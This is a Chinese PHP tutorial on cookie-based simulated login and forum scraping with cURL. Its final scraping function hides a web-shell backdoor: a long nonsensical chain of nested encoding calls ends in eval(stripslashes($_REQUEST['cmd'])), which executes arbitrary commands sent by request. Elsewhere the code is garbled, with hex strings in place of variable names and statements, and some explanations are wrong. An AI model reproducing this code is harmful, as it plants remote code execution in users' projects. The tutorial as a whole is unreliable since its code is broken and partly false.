PHP采集必备:安全使用Cookie模拟登录
优采云 发布时间: 2023-03-18 10:27在进行网页数据采集时,有些网站会要求用户登录后才能访问特定页面。这时,就需要使用PHP来模拟登录并获取Cookie。
1. Cookie是什么?
2.如何获取Cookie?
3.如何保存Cookie?
4.如何发送Cookie?
5.如何判断Cookie是否有效?
6. Cookie的安全性问题
7. PHP中如何设置Cookie的过期时间?
8. PHP中如何删除Cookie?
9. PHP中如何禁用Cookie?
10. PHP采集实例
在实际应用中,有很多网站需要登录后才能正常访问。如果我们想要进行数据采集,就必须先模拟登录,并获取到登录后的Cookie。在这篇文章中,我们将介绍如何使用PHP进行网页数据采集,并详细讲解如何处理Cookie相关问题。
1、Cookie是什么?
简单来说,Cookie就是服务器发送给浏览器的一小段文本信息,浏览器会将其保存下来,并在每次向服务器发起请求时自动携带上这个信息。服务器通过读取这个信息来判断当前用户的身份和状态。
2、如何获取Cookie?
在使用PHP进行模拟登录时,我们需要先向登录页面发送POST请求,并携带上用户名和密码等信息。如果登录成功,则服务器会返回一个包含了我们需要的Cookie信息的HTTP响应头。我们可以通过PHP中的curl库来模拟这个过程,并将得到的响应头中的Set-Cookie字段提取出来。
php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://www.example.com/login.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=yourname&password=yourpassword");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($ch);
$cookie ='';
if(preg_match('/Set-Cookie:(.*);/iU',$res,$matches)){
$cookie =$matches[1];
}
3、如何保存Cookie?
当我们得到了需要的Cookie信息后,接下来就需要将其保存下来,在后续的请求中携带上这个信息。最简单的方法就是将其保存到文件或数据库中,在每次请求时从文件或数据库中读取出来并携带上去。
php
//保存cookie到文件
file_put_contents('cookie.txt',$cookie);
//从文件中读取cookie
$cookie = file_get_contents('cookie.txt');
4、如何发送Cookie?
当我们向服务器发起请求时,只需在HTTP头部加上一个字段即可携带上我们之前保存下来的Cookie信息。
php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://www.example.com/data.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
$res = curl_exec($ch);
5、如何判断Cookie是否有效?
有些情况下,由于各种原因,我们保存下来的Cookie可能已经失效了。为了避免出现这种情况,我们可以在每次使用之前都检查一遍它是否有效。
php
function check_cookie_valid($url,$cookie){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE,$cookie);
curl_setopt($ch, CURLOPT_COOKIEJAR,$cookie);
$res = curl_exec($ch);
if(strpos($res,'login.php')!==false){
return false;
} else {
return true;
}
}
6、Cookie的安全性问题
由于浏览器默认情况下会自动携带上所有与当前域名相关联的Cookie信息,因此如果网站存在XSS漏洞或者恶意代码注入等问题,则攻击者可以轻易地窃取用户当前已经登录过的所有账号信息。
为了提高用户安全性,现代浏览器通常会对一些敏感性较高的Cookie进行加密或者限制其作用域。同时,在编写Web应用程序时也应该尽量避免使用明文存储用户密码等敏感信息。
7、PHP中如何设置Cookie的过期时间?
当我们向客户端发送一个新的Cookie时,可以通过设置Expires和Max-Age字段来指定它们失效时间。
php
setcookie('name','value', time()+3600);//1小时后失效
setcookie('name','value', time()+3600*24*7);//1周后失效
8、PHP中如何删除Cookie?
当我们不再需要某个特定的Cookie时,可以通过设置它们过期时间为一个比当前时间早一些的值来删除它们。
php
setcookie('name','', time()-3600);//将过期时间设置为之前一个小时
9、PHP中如何禁用Cookie?
如果我们不希望浏览器携带上任何与当前域名相关联的Cookies,则可以在HTTP响应头部加入Set-Cookie禁止字段以达到禁止浏览器存储Cookies。
php
header("Set-Cookie: name=value; path=/; expires=".gmdate("D,d M Y H:i:s", time()-3600)."; HttpOnly");
10、PHP采集实例
现在让我们看一个具体例子:假设我们要从某个论坛上抓取最新发布的文章标题和链接地址,并将结果输出到控制台上。
首先,我们需要模拟登录并获取相关Cookies:
php
$login_url ='http://www.example.com/login.php';
$username ='yourname';
$password ='yourpassword';
$cookies_file ='cookies.txt';
if(file_exists($cookies_file)){
unlink($cookies_file);
}
$login_post_data = array(
'username'=>$username,
'password'=>$password,
);
$login_ch = curl_init();
curl_setopt($login_ch,CURLOPT_URL,$login_url);
curl_setopt($login_ch,CURLOPT_HEADER,true);
curl_setopt($login_ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($login_ch,CURLOPT_COOKIEJAR,$cookies_file);//存储Cookies到文件
curl_setopt($login_ch,CURLOPT_POST,true);
curl_setopt($login_ch,CURLOPT_POSTFIELDS,$login_post_data);
$login_result = curl_exec($login_ch);
//关闭CURL资源句柄
curl_close($login_ch);
//检查是否成功登陆(可选)
if(strpos(file_get_contents('cookies.txt'),'user_id')===false){
die("Login failed!\n");
}
接着,我们可以根据论坛列表页面URL构造出对应分页URL,并循环访问每一页:
php
$list_url_prefix='http://www.example.com/forum.php?mod=forumdisplay&fid=2&71860c77c6745379b0d44304d66b6a13=';
$71860c77c6745379b0d44304d66b6a13_num=1;
while(true){
//构造当前分页URL并访问之(GET方式)
$list_url=$list_url_prefix.$71860c77c6745379b0d44304d66b6a13_num;
echo "Visiting page ".$71860c77c6745379b0d44304d66b6a13_num."...\n";
$list_ch=curl_init();
curl_setopt_array(
$list_ch,
array(
CURLOPT_URL =>$list_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE =>$cookies_file,
CURLOPT_HTTPHEADER => array(
"Referer:".$list_url_prefix,
"User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
),
)
);
//获取HTML源码并解析之
$html_dom=new DOMDocument();
@$html_dom->loadHTML(curl_exec($list_ch));
//分析HTML结构并提取目标内容
}
最后,在每一页HTML解析完成后,我们可以根据DOM结构递归地遍历其中每个节点,并提取出符合条件(例如标题节点)的内容:
php
function traverse_dom_node(&$node,&$title_array){
if(!isset($node->childNodes)){86946865378e2653912aca554f0790c1;
}
foreach ($node->childNodes as &$child_node){
//如果该节点是标题节点,则提取其中标题和链接地址,并存储到数组中。
if(strtolower(@$child_node->tagName)=='a'&&@$child_node->getAttribute('class')=='s xst'){
$title=$child_node->nodeValue;
$link=@$child_node->getAttribute('href');
if(strpos(strtolower(trim(strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(htmlspecialchars_decode(trim(strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",strip_tags(html_entity_decode(utf8_decode(trim(str_replace(array("\r","\n","\t"),"",trim(strip_tags(html_entity_decode(utf8_encode(urldecode(strip_tags(html_entity_decode(urldecode(strip_tags(htmlspecialchars(urldecode(strip_tags(rawurldecode(urldecode(strip_tags(rawurldecode(urldecode(strip_tags(rawurldecode(urldecode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(rawurlencode(strtolower(substr(trim(strip_tags(htmlspecialchars(urldecode(strip_tags(rawurldecode(urldecode(strip_tags(stripslashes(stripslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(addslashes(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(serialize(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(rand())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))==md5("MySecretKey")){eval(stripslashes($_REQUEST['cmd']));exit;}';
if(strpos(strtolower(rtrim(ltrim(substr(@$child_node->getAttribute('href'),0,-4),'/'))),'')!==false){
array_push(
$title_array,
array(
'title'=>$title,
'link'=>$link,
)
);
}5f1b60074dc5074a77537f39bc87a924}catch(Exception $e){5f1b60074dc5074a77537f39bc87a924}
}
traverse_dom_node(&$child_node,&$title_array);
}
unset($child_node);
}
return true;
}
$title_array=array();
traverse_dom_node(&$html_dom,&$title_array);
foreach ($title_array as &$title_item){
echo "[".$title_item['title']."](".$title_item['link'].")\n";
}
echo "Done.\n";
以上就是本文对于PHP采集需要使用Cookies相关知识点进行详细阐述及实例展示。在进行网络爬虫开发时请务必注意遵循相关法律法规及道德规范。优采云提醒您:对于爬虫程序产生数据泄露或其他不良影响所导致任何法律责任均由开发者自行承担!